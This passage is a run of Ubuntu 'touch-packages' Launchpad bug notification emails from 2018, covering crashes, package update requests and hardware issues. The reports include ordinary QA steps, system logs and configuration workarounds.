dmi:bvnInsyde:bvrF.46:bd06/16/2014:svnHewlett-Packard:pnHP2000NotebookPC:pvr088A1230591620100:rvnHewlett-Packard:rn1854:rvr64.2A:cvnHewlett-Packard:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=PRE X=MIN dmi.product.name: HP 2000 Notebook PC dmi.product.version: 088A1230591620100 dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic ubuntu ** Attachment added: "Newly mounted drives appear mixed together with other icons." https://bugs.launchpad.net/bugs/1795721/+attachment/5196052/+files/Screenshot%20from%202018-10-02%2013-34-18.png -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1795721 Title: Newly mounted drive icons jumbled with Desktop icons. Status in xorg package in Ubuntu: New Bug description: The icons for newly mounted [flash] drives automatically appear directly on top of existing desktop icons even if the the "Keep aligned" context menu has previously been selected. It can easily be corrected by selecting "Organize Desktop by Name" from the context menu, but past versions of Ubuntu have usually accomplished this automatically upon flash drive mounting without the need for doing it manually. I will attach a screenshot where you can see the icons mixed together. It appears to affect only flash drives and only the first one that is inserted, as additional drives that are added appear automatically organized on the Desktop. I'm not sure if it has anything to do with the size of the flash drive or not because my 2GB drive would not appear on the Desktop (or anywhere else for that matter) at all... ProblemType: Bug
[Touch-packages] [Bug 1743216] Re: perl crashed with SIGABRT in _dbus_abort()
** Package changed: perl (Debian) => xdg-utils (Debian) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to perl in Ubuntu. https://bugs.launchpad.net/bugs/1743216 Title: perl crashed with SIGABRT in _dbus_abort() Status in perl package in Ubuntu: Invalid Status in xdg-utils package in Ubuntu: In Progress Status in perl source package in Bionic: New Status in xdg-utils source package in Bionic: In Progress Status in perl source package in Cosmic: Invalid Status in xdg-utils source package in Cosmic: In Progress Status in xdg-utils package in Debian: Unknown Bug description: [ Description ] When xdg-screensaver suspend refers to a window with invalid UTF-8 in its title, it will spawn a perl process that crashes with an assertion: dbus[19455]: arguments to dbus_message_iter_append_basic() were incorrect, assertion "_dbus_check_is_valid_utf8 (*string_p)" failed in file ../../../dbus/dbus-message.c line 2754. This is normally a bug in some application using the D-Bus library. [ Fix ] Use decode() from the Encode module to replace invalid character sequences with U+FFFD, the replacement symbol. This is not a new dependency as Encode has been a perl core module since 5.8. [ QA ] I don't know how to get a window with such a title, so we can do two things. 1) 1. $ sudo -e $(which xdg-screensaver) # hack the script 2. Find the line "# Inhibit idle detection (flags = 8) with window name and ID." 3. Find the } on its own above that. Insert a new line afterwards and set the window name to be the same as the one in this bug, by pasting the code $window_name = "\253\062\065 Meter fehlten bis zur Katastrophe\273 - News Panorama: Vermischtes - tagesanzeiger.ch - Mozilla Firefox"; 4. Save and exit 5. $ xwininfo 6. click some window, and copy the "Window id", which will be 0x 7. $ xdg-screensaver suspend In the bad case (before this bug is fixed) it should crash, and in the good case it should work. 8. Undo what you just did by running $ xdg-screensaver resume 2) Observe that the error bucket https://errors.ubuntu.com/problem/b386f287972198daca290969b0ea5182ce8e5d52 has a reduction in report rate with the new versions. [ Regression potential ] If the code is bad then the window name passed to Inhibit() could be wrong. That shouldn't matter too much. If it is really bad then the program might crash for everybody and we'll see an increase in errors. [ Original description ] Errors Bucket - https://errors.ubuntu.com/problem/b386f287972198daca290969b0ea5182ce8e5d52 crashed after launching the software updater ProblemType: CrashDistroRelease: Ubuntu 18.04 Package: perl-base 5.26.1-4 ProcVersionSignature: Ubuntu 4.14.0-16.19-generic 4.14.12 Uname: Linux 4.14.0-16-generic x86_64 ApportVersion: 2.20.8-0ubuntu6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Jan 14 13:30:52 2018 ExecutablePath: /usr/bin/perl InstallationDate: Installed on 2017-12-28 (17 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20171201) Signal: 6SourcePackage: perl StacktraceTop: _dbus_abort () from /lib/x86_64-linux-gnu/libdbus-1.so.3 _dbus_warn_check_failed () from /lib/x86_64-linux-gnu/libdbus-1.so.3 dbus_message_iter_append_basic () from /lib/x86_64-linux-gnu/libdbus-1.so.3 ?? () from /usr/lib/x86_64-linux-gnu/perl5/5.26/auto/Net/DBus/DBus.so Perl_pp_entersub () Title: perl crashed with SIGABRT in _dbus_abort() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/perl/+bug/1743216/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1789637] Re: Proper support for frontend lock
** Description changed: - Frontend lock support for apt and dpkg is tracked in LP: #1781169, this - bug tracks unattended-upgrades changes + [Impact] + + Apt and dpkg implemented the Frontend Locking API and unattended- + upgrades needs to adopt it to not leave the packaging system unlocked + while passing control to python-apt and dpkg to perform package + installations and removals. Leaving the packaging system unlocked caused + many crashes of u-u when other tools took the lock and in the worse case + let other package management tools operate on dpkg's database breaking + systems. + + The change takes advantage of python-apt's new API and keeps the + frontend lock during the run of u-u and unlocks only the inner locks for + committing changes. + + [Test case] + + Run strace unattended-upgrades to upgrade several packages and check + that lock-frontend is acquired at the beginning and not released until + the end (not reacquired repeatedly). + + Unfixed u-u's output is like this: + # strace unattended-upgrade --verbose --dry-run 2>&1 | grep lock + openat(AT_FDCWD, "/var/run/unattended-upgrades.lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 4 + openat(AT_FDCWD, "/var/lib/dpkg/lock-frontend", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 5 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 6 + openat(AT_FDCWD, "/var/lib/dpkg/lock-frontend", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 5 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 6 + openat(AT_FDCWD, "/var/cache/apt/archives/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 93 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 6 + openat(AT_FDCWD, "/var/lib/dpkg/lock-frontend", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 5 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 6 + openat(AT_FDCWD, "/var/lib/dpkg/lock-frontend", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 5 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 6 + ... + + Fixed u-u's output is like that: + # strace unattended-upgrade --dry-run --verbose 2>&1 | grep lock + openat(AT_FDCWD, "/var/run/unattended-upgrades.lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 4 + openat(AT_FDCWD, "/var/lib/dpkg/lock-frontend", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 8 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 10 + openat(AT_FDCWD, "/var/cache/apt/archives/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 57 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 10 + openat(AT_FDCWD, "/var/cache/apt/archives/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 69 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 10 + openat(AT_FDCWD, "/var/cache/apt/archives/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 70 + openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 10 + ... + + [Regression potential] + + Incorrect lock API usage can make unattended-upgrades to crash, but it + is unlikely to hang since the lock handling operations are non-blocking. + Failing to reserve the locks can also cause problems by allowing other + package management tools to install packages in parallel, but this + problem existed in the past, too. + + [Additional Info] + Frontend lock support for apt and dpkg is tracked in LP: #1781169, this bug tracks unattended-upgrades changes -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu. https://bugs.launchpad.net/bugs/1789637 Title: Proper support for frontend lock Status in unattended-upgrades package in Ubuntu: Confirmed Bug description: [Impact] Apt and dpkg implemented the Frontend Locking API and unattended- upgrades needs to adopt it to not leave the packaging system unlocked while passing control to python-apt and dpkg to perform package installations and removals. Leaving the packaging system unlocked caused many crashes of u-u when other tools took the lock and in the worse case let other package management tools operate on dpkg's database breaking systems. The change takes advantage of python-apt's new API and keeps the frontend lock during the run of u-u and unlocks only the inner locks for committing changes. [Test case] Run strace unattended-upgrades to upgrade several packages and check that lock-frontend is acquired at the beginning and not released until the end (not reacquired repeatedly). Unfixed u-u's output is like this: # strace unattended-upgrade --verbose --dry-run 2>&1 | grep lock openat(AT_FDCWD, "/var/run/unattended-upgrades.lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 4 openat(AT_FDCWD, "/var/lib/dpkg/lock-frontend", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 5 openat(AT_FDCWD, "/var/lib/dpkg/lock", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 6 openat(AT_FDCWD, "/var/lib/dpkg/lock-frontend", O_RDWR|O_CREAT|O_NOFOLLOW, 0640) = 5 openat(AT_FDCWD,
[Touch-packages] [Bug 1795651] Re: ICU data package is grossly outdated
Hi. ICU tz data is kept available such as https://github.com/unicode-org /icu-data/tree/master/tzdata/icunew/2018e/44 ( look in the le / be / ee for different endianness, ee is ebcdic ) . It could be rebuilt into an updated icu package. Or, it could be side loaded (as a separate data file loaded at runtime). -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to icu in Ubuntu. https://bugs.launchpad.net/bugs/1795651 Title: ICU data package is grossly outdated Status in icu package in Ubuntu: New Bug description: The data package compiled into supplied ICU libs is extremely out of date. I.e. the timezone information in libicu52 (Ubuntu 14) is as old as 2013g. The "newest" shipped tzdata in Bionic is 2017c, which is about as "new" as the one in Trusty. Means, pretty much rotten by now. It wouldn't be so hard to override it with env. vars, if not for applications, which intentionally clear environments at startup. F.e. PHP FPM. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/icu/+bug/1795651/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795706] Re: packagekitd crashed with SIGABRT
*** This bug is a duplicate of bug 1788099 *** https://bugs.launchpad.net/bugs/1788099 Thank you for taking the time to report this crash and helping to make this software better. This particular crash has already been reported and is a duplicate of bug #1788099, so is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Please continue to report any other bugs you may find. ** Attachment removed: "CoreDump.gz" https://bugs.launchpad.net/bugs/1795706/+attachment/5196010/+files/CoreDump.gz ** Attachment removed: "Disassembly.txt" https://bugs.launchpad.net/bugs/1795706/+attachment/5196012/+files/Disassembly.txt ** Attachment removed: "ProcMaps.txt" https://bugs.launchpad.net/bugs/1795706/+attachment/5196015/+files/ProcMaps.txt ** Attachment removed: "ProcStatus.txt" https://bugs.launchpad.net/bugs/1795706/+attachment/5196016/+files/ProcStatus.txt ** Attachment removed: "Registers.txt" https://bugs.launchpad.net/bugs/1795706/+attachment/5196017/+files/Registers.txt ** Attachment removed: "Stacktrace.txt" https://bugs.launchpad.net/bugs/1795706/+attachment/5196018/+files/Stacktrace.txt ** Attachment removed: "ThreadStacktrace.txt" https://bugs.launchpad.net/bugs/1795706/+attachment/5196019/+files/ThreadStacktrace.txt ** This bug has been marked a duplicate of private bug 1788099 ** Information type changed from Private to Public ** Tags removed: need-amd64-retrace -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1795706 Title: packagekitd crashed with SIGABRT Status in packagekit package in Ubuntu: New Bug description: Probably very similar to the ones involving SIGSEGV ProblemType: Crash DistroRelease: Ubuntu 18.10 Package: packagekit 1.1.10-1ubuntu6 ProcVersionSignature: Ubuntu 4.18.0-8.9-generic 4.18.7 Uname: Linux 4.18.0-8-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 CrashCounter: 1 Date: Tue Oct 2 11:07:49 2018 ExecutablePath: /usr/lib/packagekit/packagekitd InstallationDate: Installed on 2017-12-06 (300 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) ProcCmdline: /usr/lib/packagekit/packagekitd ProcEnviron: LANG=en_GB.UTF-8 LANGUAGE=en_GB:en PATH=(custom, no user) SHELL=/bin/sh Signal: 6 SourcePackage: packagekit StacktraceTop: () at /usr/lib/x86_64-linux-gnu/libstdc++.so.6 () at /usr/lib/x86_64-linux-gnu/libstdc++.so.6 () at /usr/lib/x86_64-linux-gnu/libstdc++.so.6 () at /usr/lib/x86_64-linux-gnu/libstdc++.so.6 () at /usr/lib/x86_64-linux-gnu/libstdc++.so.6 Title: packagekitd crashed with SIGABRT UpgradeStatus: Upgraded to cosmic on 2018-07-10 (84 days ago) UserGroups: colord To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1795706/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795704] [NEW] Update to 1.12.4
Public bug reported:
We should merge this
===
NetworkManager-1.12.4
Overview of changes since NetworkManager-1.12.2
===
This is a new stable release of NetworkManager. Notable changes
include:
* Fix reapplying different route-metric for automatic routes.
* Fix crash in connectivity check.
* Fix accepted input format for vpn.secrets in nmcli's password file.
* libnm: support private keys encrypted with AES-{192,256}-CBC.
* Fix stopping pppd on modem hangup
* Various minor bugfixes and translation updates.
** Affects: network-manager (Ubuntu)
Importance: Wishlist
Status: New
** Tags: upgrade-software-version
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1795704
Title:
Update to 1.12.4
Status in network-manager package in Ubuntu:
New
Bug description:
We should merge this
===
NetworkManager-1.12.4
Overview of changes since NetworkManager-1.12.2
===
This is a new stable release of NetworkManager. Notable changes
include:
* Fix reapplying different route-metric for automatic routes.
* Fix crash in connectivity check.
* Fix accepted input format for vpn.secrets in nmcli's password file.
* libnm: support private keys encrypted with AES-{192,256}-CBC.
* Fix stopping pppd on modem hangup
* Various minor bugfixes and translation updates.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1795704/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] Lspci.txt
apport information ** Attachment added: "Lspci.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195922/+files/Lspci.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795698] [NEW] Cannot communicate with bitbucket repo through ssh
Public bug reported: After upgrading to kernal 4.15.0-36.39~16.04.1 this morning (2018-10-02) I am no longer able to communicate with remote repos using ssh keys. Reverting back to the previous kernal ( 4.15.0-34.37~16.04.1 ) fixes this issue. Git version is 2.19.0 1) Description: Ubuntu 16.04.5 LTS Release: 16.04 2) Unsure of the specific package that is the issue. There is something different between the two kernals mentioned. The latest kernal is causing the issue. 3) When performing any git commands that require communication with the remote I expect that I will get some communication back from the remote about the success or failure of the request. 4) What actually happens is any action that requires interaction with the remote simply hangs indefinitely. There is no success or failure. It simply hangs until I kill the process with crtl+c. ** Affects: initramfs-tools (Ubuntu) Importance: Undecided Status: New ** Tags: 16.04.5 git lts ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1795698 Title: Cannot communicate with bitbucket repo through ssh Status in initramfs-tools package in Ubuntu: New Bug description: After upgrading to kernal 4.15.0-36.39~16.04.1 this morning (2018-10-02) I am no longer able to communicate with remote repos using ssh keys. Reverting back to the previous kernal ( 4.15.0-34.37~16.04.1 ) fixes this issue. Git version is 2.19.0 1) Description: Ubuntu 16.04.5 LTS Release: 16.04 2) Unsure of the specific package that is the issue. There is something different between the two kernals mentioned. The latest kernal is causing the issue. 3) When performing any git commands that require communication with the remote I expect that I will get some communication back from the remote about the success or failure of the request. 4) What actually happens is any action that requires interaction with the remote simply hangs indefinitely. There is no success or failure. It simply hangs until I kill the process with crtl+c. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1795698/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] Lsusb.txt
apport information ** Attachment added: "Lsusb.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195923/+files/Lsusb.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1754294] Re: After last updated libcurl3 on libcurl4, some apps are removed.
use a ppa https://launchpad.net/~jonathonf/+archive/ubuntu/curl pin curl to such ppa -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to curl in Ubuntu. https://bugs.launchpad.net/bugs/1754294 Title: After last updated libcurl3 on libcurl4, some apps are removed. Status in curl package in Ubuntu: Confirmed Bug description: Hi! After last updated libcurl3 on libcurl4, system (Kubuntu 18.04 bionic) deleted such applications as: virtualbox-5.2 opera-stable slack-desktop mongodb I really need these applications, I installed them with broken dependencies, but they are deleted after each update. Is it possible to make the dependence of the libcurl3 in libcurl4, and not remove it altogether from system? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/curl/+bug/1754294/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795678] Re: package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 1
** Tags removed: need-duplicate-check
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1795678
Title:
package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools
exited with return code 1
Status in initramfs-tools package in Ubuntu:
New
Bug description:
Since upgrading from Lubuntu 16.04 LTS to Lubuntu 18.04 LTS
When Using Software Updater (either automatic notification or triggering
through the GUI menus)
I am getting "The installation or removal of a software package failed."
error almost every day (more often than not)
This is the first time I have been prompted to submit a bug report
ProblemType: Package
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-36-generic 4.15.0-36.39
ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18
Uname: Linux 4.15.0-34-generic x86_64
AlsaVersion: Advanced Linux Sound Architecture Driver Version
k4.15.0-34-generic.
ApportVersion: 2.20.9-0ubuntu7.4
Architecture: amd64
ArecordDevices:
List of CAPTURE Hardware Devices
card 0: PCH [HDA Intel PCH], device 0: ALC295 Analog [ALC295 Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
AudioDevicesInUse:
USERPID ACCESS COMMAND
/dev/snd/controlC0: david 1742 F pulseaudio
Card0.Amixer.info:
Card hw:0 'PCH'/'HDA Intel PCH at 0xb1328000 irq 134'
Mixer name : 'Realtek ALC295'
Components : 'HDA:10ec0295,103c83f8,0012
HDA:8086280b,80860101,0010'
Controls : 55
Simple ctrls : 15
Date: Tue Oct 2 15:37:20 2018
ErrorMessage: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with
return code 1
HibernationDevice: RESUME=UUID=8690dd17-8c64-490e-9c50-d6099db9e1e4
InstallationDate: Installed on 2017-11-08 (327 days ago)
InstallationMedia: Lubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64
(20170801)
Lsusb:
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 004: ID 8087:0aa7 Intel Corp.
Bus 001 Device 003: ID 0408:51e9 Quanta Computer, Inc.
Bus 001 Device 002: ID 045e:0023 Microsoft Corp. Trackball Optical
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
MachineType: HP HP Pavilion Laptop 15-cc1xx
ProcFB: 0 inteldrmfb
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic
root=UUID=c1b34c8f-6ab6-460d-9da0-56b763da6438 ro quiet splash vt.handoff=1
